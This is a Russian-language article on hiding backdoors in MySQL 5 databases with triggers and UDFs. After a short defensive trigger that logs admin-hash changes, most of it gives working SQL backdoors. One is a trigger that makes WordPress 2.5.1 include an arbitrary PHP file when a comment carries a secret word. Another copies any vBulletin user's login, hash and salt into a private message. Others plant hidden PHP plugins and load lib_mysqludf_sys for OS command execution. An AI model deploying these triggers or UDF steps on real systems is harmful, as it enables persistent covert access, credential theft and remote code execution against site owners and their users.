back-door[1]В MySQL 5 появилось несколько существенных нововведений: поддержка хранимых процедур, функций и триггеров. Они успешно позволяют перенести на сторону БД некоторую часть выполняемых действий, тем самым крайне упрощая бизнес-логику приложения. Но эти же возможности можно использовать и в более интересных целях — протроянивании базы данных.

Хранимые процедуры и триггеры

Что представляют собой хранимые процедуры? Это набор SQL-инструкций, который компилируется один раз и хранится на сервере. Таким образом, клиентские приложения могут не реализовывать всякий раз одни и те же действия с БД, а просто вызывать соответствующую хранимую процедуру. Причем приложения могут быть написаны даже на разных языках программирования. Хранимые процедуры существенно помогают повысить эффективность работы приложения. Они компилируются – и поэтому исполняется быстрее интерпретируемого SQL-запроса. При их использовании существенно снижается объем пересылаемой между сервером и клиентом информации. Правда, нужно учитывать, что нагрузка на СУБД при этом непременно увеличивается. Оно и понятно: на стороне клиента (приложения) выполняется меньшая часть работы, а на стороне сервера – большая. Помимо непосредственно самих хранимых процедур большинство СУБД поддерживают их разновидность — триггеры. Они автоматически выполняются при наступлении в базе данных определенных событий, например, при выполнении операций INSERT, UPDATE и DELETE. Сегодня мы посмотрим, что использовать их можно не только для непосредственно реализации функционала приложения, но и для того, чтобы отслеживать проникновения в СУБД и наоборот незаметно встроить в базу данных бэкдор.

Краткий ликбез по хранимым процедурам и триггерам

Есть две ситуации, когда хранимые процедуры могут оказаться особенно полезными:

  1. Существует нескольких клиентских приложений, написанных на различных языках и обязанных выполнять одинаковые операции с базами данных;
  2. Необходимо обеспечить дополнительную безопасность приложения (пользователи не получают непосредственный доступ к таблицам базы данных и могут выполнять только конкретные хранимые процедуры).

Хранимые процедуры появились в версии MySQL 5.0.2. Помимо этого СУБД стала поддерживать разновидность хранимых процедур — триггеры, которые автоматически вызываются при наступлении в базе данных событий INSERT, UPDATE и DELETE. Для создания хранимой процедуры, функции или триггера используются операторы CREATE PROCEDURE, CREATE FUNCTION и CREATE TRIGGER соответственно. Вызов хранимой процедуры происходит с помощью оператора CALL. Функции вызываются из операторов точно так же, как и любые другие функции, то есть через указание имени функции (данный факт вполне может быть использован в SQL инъекциях), а триггеры вызываются сами, если в БД наступило некоторое событие (INSERT, UPDATE, DELETE), поэтому для нас они будут представлять наибольший интерес. Введу уточнения:

  • Событие INSERT означает вставку новой строки в таблицу и реализуется одним из следующих операторов: INSERT, LOAD DATA или REPLACE.
  • Событие UPDATE означает, что в таблице изменяется некоторая строка, то есть используется оператор UPDATE.
  • Событие DELETE реализует удаление строк в таблице, что может быть реализовано с помощью операторов DELETE и REPLACE.

Следует учитывать, что инструкции DROP TABLE и TRUNCATE относительно таблицы не активизируют триггер, потому что они не используют DELETE. С помощью триггеров можно реализовать проверку целостности данных, логирование, а также установку скрытых бэкдоров в веб-приложениях. Для создания триггера в MySQL версий до 5.1.6 нужны привилегии SUPER, после 5.1.6 – привилегия TRIGGER.

Синтаксис триггера довольно прост:

CREATE
[DEFINER = { пользователь | CURRENT_USER }]
TRIGGER trigger_name trigger_time trigger_event
ON tbl_name FOR EACH ROW trigger_body

Основные параметры, которые нужно задать при создании триггера, это:

  1. trigger_name – имя триггера, фактически может быть любым.
  2. trigger_time – время, когда триггер будет выполнен. Тут возможны два значения: BEFORE и AFTER, соответственно, до или после запроса. Здесь важно отметить, что, если мы выставили trigger_time в BEFORE, то триггер будет выполнен в любом случае, а если в AFTER, то только в случае запроса, активизирующего триггер.
  3. trigger_event – одно из следующих событий: INSERT, UPDATE, DELETE.
  4. tbl_name – имя таблицы, к которой прикреплен триггер.
  5. trigger_body – SQL-операторы, которые будут выполнены при срабатывании триггера.

При работе с триггерами и хранимыми процедурами также не стоит забывать о довольно большом списке ограничений.

При создании хранимых процедур нужно учитывать следующие моменты:

  1. Лучше напрямую указывать базу данных, к которой они относятся и с которой будут работать. Это можно сделать с помощью конструкции “USE <имя базы данных>” или указания всех таблиц в явном виде “<имя базы данных>.<имя таблицы>”;
  2. При использовании множественных операторов в теле процедуры необходимо иметь возможность отсылки строк запросов, содержащих разделитель “;”. Если мы работаем через консоль, то добиться этого можно с помощью использования команды “delimiter”. Если же мы работаем в популярном менеджере баз данных phpMyAdmin, то новый разделитель можно просто указать в поле “Разделитель” при создании процедуры, команду “delimiter” в этом случае использовать не нужно.

Необходимость логирования

Во время проведения аудита скриптов ИБ-специалисты в основном обращают внимание на то, как хорошо фильтруется пользовательский ввод, а данным из БД они обычно доверяют. Учитывая это обстоятельство, нужно либо самому тщательно изучать используемый софт на предмет различного рода атак, либо создать скрытый механизм логирования, который запишет все действия злоумышленника в случае несанкционированного доступа в базу данных и тем самым даст возможность оперативно и четко пофиксить обнаруженную дырку. Логирование играет огромное значение как на этапе разработки приложения, так и на этапе его поддержки. При этом сам сервер MySQL не дает возможности гибкой настройки логирования запросов к БД. Выход — реализовать его самому, при помощи триггеров.

Предположим, что хакер получил прямой доступ в базу популярного блогового движка WordPress. Первое, что захочет сделать злоумышленник, — это почти наверняка смена хэша админского пассворда. Данное действие позволит спокойно пройти в админку и, при удачном стечении обстоятельств, внедрить свой код в плагины, если они, конечно, доступны для редактирования. Ведь расшифровка хэша админа – занятие малоприятное, так как WP использует достаточно криптостойкий алгоритм для хэширования, таким образом, перебор будет идти крайне медленно.

Предлагаю написать триггер, который будет следить за состоянием хэша и, в случае его изменения, внесет в дополнительную таблицу время изменения, имя пользователя, который менял хэш, и то значение, на которое хэш меняли.

1. Сначала создадим таблицу, в которую будем писать лог. Здесь очевидно, что наш триггер будет иметь доступ в эту таблицу, а пользователь, который прописан в конфиге вордпресса, доступа к данной таблице иметь не будет и даже не будет догадываться о самом ее существовании:

CREATE TABLE `wplog` (
`id` INT NOT NULL AUTO_INCREMENT ,
`user` VARCHAR(20) NOT NULL ,
`user_pass` VARCHAR(64) NOT NULL ,
`timestamp` TIMESTAMP NOT NULL ,
PRIMARY KEY ( `id` )
);

Таблица wplog будет находиться в базе test, а база блога в нашем случае обозначена как wordpress.

2. Сам триггер будет иметь такой вид:

CREATE TRIGGER `wp_log` BEFORE UPDATE
ON `wordpress`.`wp_users`
FOR EACH ROW BEGIN
IF NEW.user_pass != '$P$B9v9rCvKUXneMDBnlvCaO74EtBG77hM' THEN
SET @pass = NEW.user_pass;
INSERT INTO `test`.`wplog` SET `user`= USER(),`user_pass`=@pass;
END IF;
END;

Из кода триггера видно, что он следит за таблицей wp_users и, если кто-то редактирует эту таблицу, меняя установленный хэш админа, в таблицу wplog будут занесены данные об этом изменении. Преимущества такого логирования понятны. Мы следим только за такими местами в базе, которые представляют для нас интерес, и при этом ловим не все запросы, а только потенциально опасные, как бы эти запросы ни были сделаны, напрямую из базы или через какие-либо php-скрипты. Также, если мы правильно распределили права для пользователей сервера MySQL, то злоумышленник, прочитавший конфиг вордпресса и таким образом попавший в базу, никак не сможет определить, что за его действиями тщательно следят. Наличие данного триггера не учитывает тот вариант, когда хакер добавляет нового админа в блог. Правда, добавление админа в вордпрессе – это гораздо более сложная операция, чем смена пароля у существующего, так как необходимо внести соответствующие изменения еще и в таблицу wp_usermeta.

Конечно, при серьезном подходе к вопросу логирования нежелательных запросов в базе данных следует грамотно ее проанализировать и выявить те ячейки, редактирование которых может привести к серьезным последствиям, а затем попытаться либо исправить это, либо установить за такими ячейками наблюдение. Также хочу дать совет, чтобы при анализе базы данных ты в первую очередь обращал внимание на те ячейки, в которых присутствуют пути к файлам или обрывки PHP-кода.

Размышляя о логировании запросов, не могу не вспомнить и о такой замечательной разработке, как MySQL Proxy. Обычно эту программу применяют при master-slave репликации, что дает возможность прозрачно для клиента проксировать запросы нескольких slave & master серверов. MySQL Proxy также может логировать сами запросы, а затем обрабатывать их. Возможности этого прокси можно довольно сильно расширить с помощью сценариев на языке lua, что предоставит возможность выполнения команд операционной системы с помощью отсылки прокси-запросов с MySQL клиента. Подробнее об этом можно прочитать здесь.

Трояним WordPress

Теперь рассмотрим некоторые способы хакерского применения триггеров при установке различных бэкдоров. Для простоты понимания в наших исследованиях мы будем использовать довольно старый WordPress версии 2.5.1. Заглянув в его базу, мы сразу же наткнемся в таблице wp_options на некие пути к локальным файлам:

active_plugins a:1:{i:0;s:19:"akismet/akismet.php";}

Как уже отмечалось выше, на такие места нужно обращать внимание в первую очередь, а в данном случае – тем более, так как здесь указаны пути к плагинам. Ясно, что посредством аддонов происходит расширение функционала блога, то есть файлы плагинов инклудятся в основное ядро движка. Несложно понять, что происходит это в сценарии ./wp-settings.php. В WP версии 2.5.1 инклуд плагинов происходит следующим образом:

if ( get_option('active_plugins') )
{
$current_plugins = get_option('active_plugins');
if ( is_array($current_plugins) )
{
foreach ($current_plugins as $plugin)
{
if ('' != $plugin && file_exists(ABSPATH.PLUGINDIR .'/'.$plugin))
include_once(ABSPATH . PLUGINDIR . '/' . $plugin);
}
}
}

Исходя из поверхностного анализа этого кода, становится ясно, что никакого особого контроля при инклуде плагинов разработчики не предусмотрели. Тем самым здесь мы можем с легкостью прописать путь к любому стороннему файлу. В последующих версиях вордпресса (2.8 и выше) это уже было исправлено путем добавления различных проверок, не дающих провести подключение посторонних файлов. Однако мы рассматриваем версию 2.5.1 и вполне можем воспользоваться таким “умелым” кодом, написав специальный триггер, инклудящий указанный нами файл при добавлении комментария на блог с секретным словом “wpaddplugin”:

CREATE TRIGGER `up_pluggin` BEFORE INSERT ON `wordpress`.`wp_comments`
FOR EACH ROW BEGIN
IF NEW.comment_content = 'wpaddplugin' THEN
UPDATE `wordpress`.`wp_options`
SET `option_value` = 'a:1:{i:0;s:17:"../../../e/hi.php";}'
WHERE `wp_options`.`option_id` =36;
END IF;
END;

Вместо пути “../../../e/hi.php” также можно указать путь к логам веб-сервера, если они доступны для чтения средствами php, или путь до картинки, в EXIF-поле которой внедрен php-код. Вариантов может быть масса. Другие примеры триггеров для вордпресса ты сможешь отыскать на форуме rdot.org.

Триггер для vBulletin

Результатом всевозможных манипуляций с базой данных может быть не только выполнение произвольного кода на сервере, но также и раскрытие конфиденциальной информации юзеров, что является сильной угрозой для безопасности приложения. Для примера давай рассмотрим один из вариантов скрытого получения данных пользователей форума vBullеtin 3.

Предположим, что у нас есть аккаунт на форуме и мы можем отсылать/получать приватные сообщения, а также создавать и редактировать посты. Для получения пары логин:хэш мы напишем триггер, который в случае редактирования поста с определенным содержанием будет изменять присланное нам личное сообщение с темой “aj4x”, вставляя в него данные из таблицы user:

CREATE TRIGGER `vb_users` BEFORE UPDATE ON `vb`.`post`
FOR EACH ROW BEGIN
IF NEW.pagetext = 'getadmindata' THEN
SET @my_user = NEW.title;
SET @data = (SELECT concat(username,':',password,':',salt)
FROM user WHERE username=@my_user);
UPDATE `vb`.`pmtext` SET `message` = @data
WHERE `pmtext`.`title` ='aj4x';
END IF;
END;

Как видно из тела триггера, в соответствующем персональном сообщении мы сможем найти авторизационные данные любого зарегистрированного на форуме пользователя. Данный прием можно применять практически для любого форума, работающего с MySQL 5. Для этого нужно всего лишь найти таблицу с авторизационными данными юзеров и таблицу с текстами персональных сообщений. При использовании триггеров нас не сильно интересует логика форумного движка, так как все манипуляции происходят на уровне базы данных.

Безопасность vBulletin 3

За годы своего существования vBulletin 3 заслужил репутацию очень грамотно написанного форумного движка. Несмотря на то что он является платным продуктом, поисковый запрос “Powered by vBulletin” в Google выдает более 2 миллиардов совпадений, а список выявленных багов – всего пару десятков на версию. Тем не менее, и у этого движка есть свои интересные баги, к одному из которых можно отнести раскрытие данных из конфига при отправке специально сформированного поискового запроса. Более подробно об этом баге ты сможешь прочитать тут. Также советую тебе обратить внимание на последние SQL-инъекции движка, их описание можно найти на известном сайте exploit-db.com.

Крошим “Булку”

Также триггеры дают нам прекрасный шанс по-новому осмыслить давно известные уязвимости. Например, в админ-панели форума vBulletin 3 присутствует возможность вставки произвольного PHP-кода в плагины. Этот факт можно рассматривать как гибкий инструмент для админа по расширению функционала форума, но мы, конечно же, будем рассматривать его как уязвимость :). В данном случае такая уязвимость будет классифицироваться как “post auth Admin Panel Code Execution”. Как ты уже должен был понять, создавать плагины с PHP-кодом можно не только из админки, но также и через базу форума. Чтобы понять, как это сделать из базы, тебе вовсе не нужно изучать километры кода, а необходимо и достаточно сделать два дампа БД: дамп, когда плагинов еще нет, и дамп сразу после добавления любого плагина с помощью описанного выше триггера. Затем тебе необходимо сравнить эти дампы. После изучения различий сделанных на предыдущем шаге дампов становится ясно, что плагин с именем aj4x, содержащий код “print_r(ini_get_all())”, будет создан после выполнения следующих SQL запросов:

INSERT INTO `datastore`
VALUES
('pluginlist', 'a:1:{s:13:"ajax_complete";s:25:"print_r(ini_get_all());\r\n\";}',1);
INSERT INTO `plugin`
(`pluginid`, `title`, `hookname`, `phpcode`, `product`, `devkey`, `active`, `executionorder`)
VALUES
(1, 'aj4x', 'ajax_complete', 'print_r(ini_get_all());', 'vbulletin','', 1, 5);

При этом, если мы обратимся к файлу vb_foruma.net/ajax.php, то наш код в плагине успешно выполнится! Такую технику вполне можно использовать для создания триггера, который в случае чего позволит выполнить код на нужном нам форуме. Однако оставлять плагин с подозрительным php-кодом на долгие годы в базе форума не является правильным решением, так как это легко может заметить админ. При создании триггера надо учитывать те плагины, которые уже были в базе данных до нашего инжекта, поэтому удачный код триггера в таком случае будет выглядеть примерно так:

CREATE TRIGGER `vb_pluggin` BEFORE INSERT ON `vb`.`post`
FOR EACH ROW BEGIN
IF NEW.pagetext = 'mynewtestdata' THEN
SET @exists_plugin = (SELECT data FROM `vb`.`datastore` WHERE `datastore`.`title`='pluginlist');

UPDATE `vb`.`pmtext` SET `message` = @exists_plugin WHERE `pmtext`.`title` ='aj4x';

DELETE FROM `vb`.`datastore` WHERE title='pluginlist';

INSERT INTO `vb`.`datastore` VALUES ('pluginlist', 'a:1:{s:13:"ajax_complete";s:23:"print_r(ini_get_all());";}',1);

DELETE FROM `vb`.`plugin`;

INSERT INTO `vb`.`plugin`(`pluginid`, `title`, `hookname`, `phpcode`, `product`, `devkey`, `active`, `executionorder`)
VALUES
(1, 'aj4x', 'ajax_complete', 'print_r(ini_get_all());', 'vbulletin', '', 1, 5);
END IF;
END;

Связав данный триггер с базой форума, создав на форуме пост с секретным словом “mynewtestdata” и затем обратившись к скрипту ajax.php, мы увидим, что код, добавленный нами в плагин, успешно выполнится!

Доступ есть. Что дальше?

Тут встает закономерный вопрос: что же может сделать злоумышленник после получения прямого доступа к MySQL? Если у него есть привилегия FILE, то он вполне сможет залить шелл в доступную извне директорию с правами 777 с помощью всем известной конструкции “SELECT … INTO OUTFILE …”. Но привилегия FILE присутствует далеко не всегда. Зачастую доступна лишь возможность редактирования ячеек определенных таблиц, которая, тем не менее, дает прекрасную возможность для проникновения на сервер с помощью изменения хэша пароля админа или инклуда злонамеренных файлов через БД (многие CMS берут пути к плагинам, темам или языкам напрямую из базы).

Вместо заключения

Понятно, что для использования любых трюков с триггерами и хранимым процедурами есть важное условие — у нас уже должен быть доступ к СУБД. Для этого необходимо логин и пароль какого-либо MySQL-юзера. Зачастую данные для соединения с сервером БД просто хранятся в PHP-скриптах в открытом виде. Даже если веб-приложение накрыто Zend’ом или закриптовано IonCube, конфиг, где обычно прописывают логин и пароль от базы данных, остается доступен для редактирования, чтобы уже сам конечный пользователь мог вносить в него необходимые изменения. Поэтому, если злоумышленник каким-либо образом может читать файлы на сервере, то, скорее всего, он найдет и конфиг с доступами к БД. Далее, если в базу пускают откуда угодно, а не только с localhost, или на том же сервере находится специализированный софт для работы с БД (например, тот же самый phpMyAdmin), то, получив данные из конфига приложения, хакер вполне может попасть и в саму базу данных. Короче говоря, получение доступа к БД при условии проникновения на хост зачастую не является сверхсложной задачей.

Старые трюки с UDF

Важно отметить, что оператор CREATE FUNCTION использовался и в более ранних версиях MySQL (еще до появления хранимых процедур в этой СУБД) для поддержки так называемых UDF (определенные пользователем функции). UDF-функции продолжают поддерживаться MySQL и могут рассматриваться как внешние хранимые функции. В отличие от обычных хранимых функций, которые по сути состоят из нескольких SQL-операторов, UDF-функции могут значительно расширять функциональность СУБД. Несколько лет назад широкой публике был представлен эксплоит, представляющий собой UDF-функцию, которая позволяла выполнять команды операционной системы. Все это относилось к MySQL 4 — пятой версии тогда еще просто не было. Со временем подобная функциональная была реализована во вполне легитимном модуле LIB_MYSQLUDF_SYS, который сейчас доступен для загрузки со специального ресурса, посвященного UDF-фунциям (mysqludf.org). Библиотека включает в себя ряд функций, позволяющих взаимодействовать с операционной системой, на которой запущена СУБД. Учитывая простоту в установке UDF-функций, это вполне реальный способ получить доступ к системе. Делается это так:

1. Достаточно лишь скачать с указанного выше сайта (или с нашего диска) архив lib_mysqludf_sys_0.0.3.tar.gz, найти там уже скомпиленный бинарник и скопировать его в директорию /usr/lib/mysql/plugins.

2. Далее в базе данных необходимо выполнить следующую команду:

CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';

3. После чего тебе станет доступна функция sys_eval, позволяющая выполнить любую системную команду:

select sys_eval ('id')
uid=60(mysql) gid=107(mysql) groups=107(mysql),0(root)

Данный способ вроде бы всем хорош, однако, в нем есть одно большое но: директории, в которых нужно размещать файл lib_mysqludf_sys.so, доступны на запись только суперпользователю, поэтому этот вариант можно рассматривать только как установку бэкдора, а не вектор атаки. Хотя, конечно, если админ накосячил с правами (например, директория /usr/lib/mysql/plugins имеет права 777), а мы при этом имеем доступ в базу с привилегией FILE, то вполне можем попытаться создать файл lib_mysqludf_sys.so с помощью всем известной конструкции “SELECT …. INTO OUTFILE”. Также, если данный файл будет скомпилен на похожем сервере, то с большой долей вероятности можно ожидать успешного выполнения системных команд и на целевой машине. Использовать функцию sys_eval нам может помешать программный инструмент упреждающей защиты AppArmor, но, если у нас есть рутовый доступ, это препятствие очень легко обойти, ссылку на способ обхода ищи в сносках.

WWW

By Ruslan Novikov

Интернет-предприниматель. Фулстек разработчик. Маркетолог. Наставник.